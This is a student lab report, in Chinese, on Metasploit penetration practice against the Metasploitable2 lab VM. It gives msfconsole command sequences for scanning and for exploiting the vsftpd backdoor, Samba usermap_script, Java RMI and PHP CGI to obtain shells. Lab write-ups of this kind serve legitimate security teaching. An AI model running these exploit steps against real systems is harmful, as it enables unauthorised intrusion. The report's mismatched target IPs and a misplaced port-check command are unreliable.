網路攻防實驗報告
姓名:田青
學號:20222305
實驗日期:2024/11/15 — 2024/11/22
實驗名稱:Metasploit攻擊滲透實踐
指導教師:王志強
1.學習內容
1.Metasploit:是一款開源安全漏洞利用和測試工具,整合了各種平臺上常見的溢位漏洞和流行的shellcode。
2.滲透攻擊模組(exploits):
被動滲透攻擊:利用漏洞位於客戶端軟體中,如瀏覽器、瀏覽外掛、電子郵件客戶端、office與Adobe等各種文件與編輯軟體。對於這類存在於客戶端軟體的安全漏洞,我們無法主動地將資料從遠端輸入到客戶端軟體中,因此只能採用被動滲透攻擊方式。即構造出“邪惡”的網頁、電子郵件或文件檔案,並透過架設包含此類惡意內容的服務端、傳送郵件附件、結合社會工程學攻擊分發並誘騙目標使用者開啟、結合網路欺騙和劫持技術,等目標系統上的使用者訪問到這些邪惡內容,從而觸發客戶端軟體中的安全漏洞,給出控制目標系統的shell會話。客戶端軟體被動滲透攻擊能夠繞過防火牆等網路邊界防護措施,最常見的兩類被動滲透攻擊為瀏覽器軟體漏洞攻擊和檔案格式類漏洞攻擊。
3.攻擊載荷模組(Payloads):
攻擊載荷是在滲透攻擊成功後促使目標系統執行的一段植入程式碼,通常作用是為滲透攻擊者開啟在目標系統上的控制會話連線。在傳統的滲透程式碼開發中,攻擊載荷只是一段功能簡單的ShellCode程式碼,以組合語言編制並轉換為目標系統CPU體系結構支援的機器程式碼,在滲透攻擊觸發漏洞後,將程式執行流程劫持並跳轉入這段機器程式碼中執行,從而完成ShellCode中實現的單一功能。
metasploit攻擊載荷模組分為獨立(Single)、傳輸器(Stager)、傳輸體(Stage)三種型別。
獨立攻擊載荷是完全自包含的,可直接獨立地植入目標系統進行執行,比如“windows/shell_bind_tcp”是適用於Windows作業系統平臺,能夠將Shell控制會話繫結在指定TCP埠上的攻擊載荷。在一些比較特殊情況下,可能會對攻擊載荷的大小、執行條件有所限制,比如特定安全漏洞利用時可填充邪惡攻擊緩衝區的可用空間很小、windows 7等新型作業系統所引入的NX(堆疊不可執行)、DEP(資料執行保護)等安全防禦機制,在這些場景情況下,Metasploit提供了傳輸器和傳輸體配對分階段植入的技術,由滲透攻擊模組首先植入程式碼精悍短小且非常可靠的傳輸器載荷,然後在執行傳輸器載荷時進一步下載傳輸體載荷並執行。
傳輸器與傳輸體配對的攻擊載荷模組以名稱中的“/”標識,例如“Windows/shell/bind_tcp”是由傳輸器載荷(bind_tcp)和一個傳輸體載荷(shell)組成
功能等價於“Windows/shell_bind_tcp”
2.實驗內容
本實踐目標是掌握metasploit的用法。
指導書參考Rapid7官網的指導教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下載官方靶機Metasploitable2,完成下面實驗內容。
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
利用步驟:
在kali中執行msfconsole 啟動metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
set RHOST XX.xx.xx.xx 設定要攻擊的機器IP(靶機IP)
exploit/run 開始攻擊
利用成功
執行uname –a、 pwd、 id等命令 驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
利用步驟:
use exploit/multi/samba/usermap_script 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit 開始攻擊
利用成功 執行uname–a驗證
(4)Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
操作步驟:
首先檢視1099埠是否開啟。
然後在MSF中:
use exploit/multi/misc/java_rmi_server
show options 檢視配置引數
set RHOST (靶機IP)
exploit/run
sessions -i id
shell (進入meterpreter時,使用whoami驗證下)
(5)PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
在kali中執行msfconsole,啟動metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit/run 開始攻擊
3.實驗過程
3.1前期滲透
3.1.1登入靶機Metasploitable2-Linux:
賬號/密碼:msfadmin
。
3.1.2查詢靶機IP,確定掃描網段
指令:ifconfig
靶機IP:靶機IP:192.168.31.177
3.1.3主機發現
指令:
點選檢視程式碼
msfconsole
search arp_sweep
use 0
set RHOSTS 192.168.31.0/24
set THREADS 30
exploit
search arp_sweep
從圖中可以看到,我們已經成功的查詢到靶機:192.168.31.177.
3.2 埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等
3.2.1直接用nmap
指令:nmap -p- 192.168.31.117
3.2.2用Aux中的portscan/tcp
指令
點選檢視程式碼
search portscan/tcp
use 0
set RHOSTS 192.168.31.117
exploit
3.3 掃描系統版本、漏洞
指令
點選檢視程式碼
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.31.117
exploit
從圖上可以看到,目標主機的作業系統是Unix,版本是Samba 3.0.20-Debain,且使用SMBv1,存在已知漏洞。
3.4 Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
指令
點選檢視程式碼
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOSTS 192.168.31.117
exploit
輸入uname -a、id、pwd等指令檢測是否攻擊成功。
3.5SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
指令
點選檢視程式碼
search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.31.117
exploit
執行uname–a,pwd,ls等命令驗證。
3.6Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
首先,檢視1099埠是否開放:
指令
點選檢視程式碼
search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.31.117
exploit
得知1099埠已開放。
接下來輸入指令
點選檢視程式碼
search exploit/multi/misc/java_rmi_server
use 0
show options //檢視配置引數
set RHOSTS 192.168.31.117
exploit
3.7PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
指令
點選檢視程式碼
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOSTS 192.168.31.117
exploit
3.問題及解決方案
-
問題1:掃不到靶機
-
問題1解決方案:改為橋接模式與主機在同一網段
原IP:
改後IP:
4.學習感悟、思考等
- 透過此次試驗我認識到Metasploit是一個強大的滲透測試平臺,它不僅能夠幫助安全專家發現網路中的漏洞,還能用於驗證漏洞的修復效果以及提高組織的安全意識。
- 透過對不同埠的攻擊,我更好地理解Metasploit的工作原理及其各種模組。
- 我意識到因為網路安全領域發展迅速,新的漏洞和技術不斷出現,我們作為安全專業人士,不僅要技術過硬,還要具備高度的安全意識。瞭解最新的安全威脅趨勢,為保護資訊系統做出貢獻。
參考資料
- [《【工具使用】——Metasploit(MSF)使用詳解(超詳細)(https://blog.csdn.net/weixin_45588247/article/details/119614618)